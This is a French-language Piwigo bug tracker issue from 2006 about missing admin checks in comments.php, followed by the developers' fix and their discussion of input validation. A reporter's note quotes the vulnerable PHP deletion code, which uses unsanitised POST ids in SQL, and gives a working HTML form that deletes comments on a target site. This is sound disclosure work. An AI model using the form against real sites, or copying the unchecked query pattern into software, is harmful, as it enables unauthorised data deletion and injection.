Piwigo Bugtracker

Viewing Issue Advanced Details Jump to Notes ] Issue History ] Print ]
ID Category Severity Reproducibility Date Submitted Last Update
0000518 [Piwigo] user comments major always 2006.08.14 16:10 2006.11.22 05:43
Reporter thewolf View Status public  
Assigned To
Priority normal Resolution fixed Platform
Status closed   OS
Projection none   OS Version
ETA none Fixed in Version 1.6.2 Product Version 1.6.1
  Target Version Product Build
Summary 0000518: Possibilité de supprimer ou de valider des commentaires sans autorisation
Description Il est possible de supprimer ou de valider des commentaires sans autorisation. Cette faille provient du fait que la page "comments.php" ne vérifie pas si l'utilisateur est administrateur au moment de supprimer ou de valider les commentaires.

Cette faille affecte aussi les versions précédentes.
Steps To Reproduce Il suffit, pour profiter de cette faille, de créer une page html contenant un formulaire pointant sur la page "comments.php" du site ciblé, et d'y insérer une balise <select> avec le paramêtre "name" positionné à "comment_id". Les valeurs transmises sous forme d'un tableau lors de la soumission du formulaire indiquent alors les numéros d'identification des commentaires. Il ne reste plus qu'à créer une valeur POST positive "validate" ou "delete", et le tour est joué.
Additional Information
Tags No tags attached.
browser any
Database engine and version
PHP version
Web server Apache 1.3.x
Attached Files

- Relationships
related to 0000524closedrvelices Add anti-spam for comments... 

-  Notes
(0001374)
nikrou (developer)
2006.08.14 21:51

Je n'arrive pas à reproduire le bug (ou faille).
Je certifie que l'on ne peut pas supprimer les commentaires si on n'est pas admin.
Je veux bien plus de détail sur la façon de reproduire la suppression d'un commentaire sans être admin.
(0001375)
thewolf (reporter)
2006.08.14 22:23
edited on: 2006.08.14 22:30

Voici un extrait du code source de "comments.php" :
// comments deletion
if (isset($_POST['delete']) and count($_POST['comment_id']) > 0)
{
  $query = '
DELETE FROM '.COMMENTS_TABLE.'
  WHERE id IN ('.implode(',', $_POST['comment_id']).')
;';
  pwg_query($query);
}
Il est évident que le statut d'admin de l'utilisateur n'est pas vérifié. Mettons le en pratique. Il suffit d'utiliser un formulaire adéquat, comme ci-dessous :

<html><head><title>Suppression d'un commentaire</title></head><body>
<form action="http://monsite/phpwebgallery/comments.php" [^] method="post">
<!--"action" pointe sur la cible-->
<input type="hidden" name="delete" value="1" /> <!-- ceci pour que isset($_POST['delete'])==true-->
<select multiple name="comment_id[]">
<option value="1" selected>un commentaire...</option>
<!--ici "value" correspond à l'id du commentaire à supprimer-->
</select>
<input type="submit" /></form></body></html>

J'espère que je suis assez clair.
J'ai testé ce code sur la version 1.6.1 .
D'après le code source de "comments.php", il devrait être possible de valider les commentaires avec leur id de la même façon.

(0001376)
nikrou (developer)
2006.08.14 22:46

Corrigé dans la branche 1.6: [Subversion] r1535
Reporté dans le tronc: [Subversion] r1536
(0001388)
rub (developer)
2006.08.17 13:35

A quoi sert le "$_POST['comment_id'] = array_map('intval', $_POST['comment_id']);"?
A bien formatter les nombres, mais dans quel cas? Ne faut-il pas plutôt annuler si les comment_id ne sont pas des intval?
(0001389)
plg (manager)
2006.08.17 13:48

Bien vu Rub. Pour ma part, j'aurai tendance à dire:

if (!is_numeric($_POST['comment_id']))
{
  die("Bla bla, vilain hacker");
}
(0001390)
nikrou (developer)
2006.08.17 13:55

> Bien vu Rub. Pour ma part, j'aurai tendance à dire:

Premièrement je ne trouve pas l'utilisation du die() très pertinante. L'utilisation du die() ne devrait se limiter qu'aux phases de tests et pas à la production.

D'autre part, il faut utiliser is_int() au lieu de is_numeric() puisqu'on veut un entier et pas un réel
(0001392)
rub (developer)
2006.08.17 14:26

Pour ma part un die ou simplement ne rien faire, me convient! Tant que les tentatives "non voulues échouent".

Le die a l'avantage de couper court au reste de la page mais n'affiche rien de "joli".
(0001396)
VDigital (reporter)
2006.08.19 10:04

L'anti-spam s'impose :
URL=http://forum.phpwebgallery.net/viewtopic.php?pid=43821#p43821 [^]
J'ouvre une demande de fonctionalité.
8-/
(0001544)
rvelices (developer)
2006.11.22 05:43

ce truc aurait du etre ferme depuis qq temps ...

- Issue History
Date Modified Username Field Change
2006.08.14 16:10 thewolf New Issue
2006.08.14 16:10 thewolf browser => any
2006.08.14 16:10 thewolf Web server => Apache 1.3.x
2006.08.14 17:08 VDigital Issue Monitored: VDigital
2006.08.14 19:16 rvelices Status new => confirmed
2006.08.14 21:51 nikrou Note Added: 0001374
2006.08.14 21:51 nikrou Status confirmed => feedback
2006.08.14 22:23 thewolf Note Added: 0001375
2006.08.14 22:30 thewolf Note Edited: 0001375
2006.08.14 22:40 nikrou Status feedback => assigned
2006.08.14 22:40 nikrou Assigned To => nikrou
2006.08.14 22:46 nikrou Note Added: 0001376
2006.08.14 22:47 nikrou Status assigned => resolved
2006.08.14 22:47 nikrou Resolution open => fixed
2006.08.14 22:49 nikrou Status resolved => closed
2006.08.14 22:49 nikrou Fixed in Version => 1.6.2
2006.08.14 22:51 nikrou View Status public => private
2006.08.15 12:29 nikrou Status closed => feedback
2006.08.15 12:29 nikrou Resolution fixed => reopened
2006.08.15 12:29 nikrou Status feedback => resolved
2006.08.15 12:29 nikrou Resolution reopened => fixed
2006.08.15 12:30 nikrou View Status private => public
2006.08.17 13:35 rub Status resolved => feedback
2006.08.17 13:35 rub Resolution fixed => reopened
2006.08.17 13:35 rub Note Added: 0001388
2006.08.17 13:48 plg Note Added: 0001389
2006.08.17 13:55 nikrou Note Added: 0001390
2006.08.17 13:55 nikrou Assigned To nikrou =>
2006.08.17 14:26 rub Note Added: 0001392
2006.08.19 10:04 VDigital Note Added: 0001396
2006.08.21 16:27 VDigital Relationship added related to 0000524
2006.11.22 05:43 rvelices Note Added: 0001544
2006.11.22 05:43 rvelices Status feedback => closed
2006.11.22 05:43 rvelices Resolution reopened => fixed


Mantis 1.1.6[^]
Copyright © 2000 - 2008 Mantis Group
Contact
Powered by Mantis Bugtracker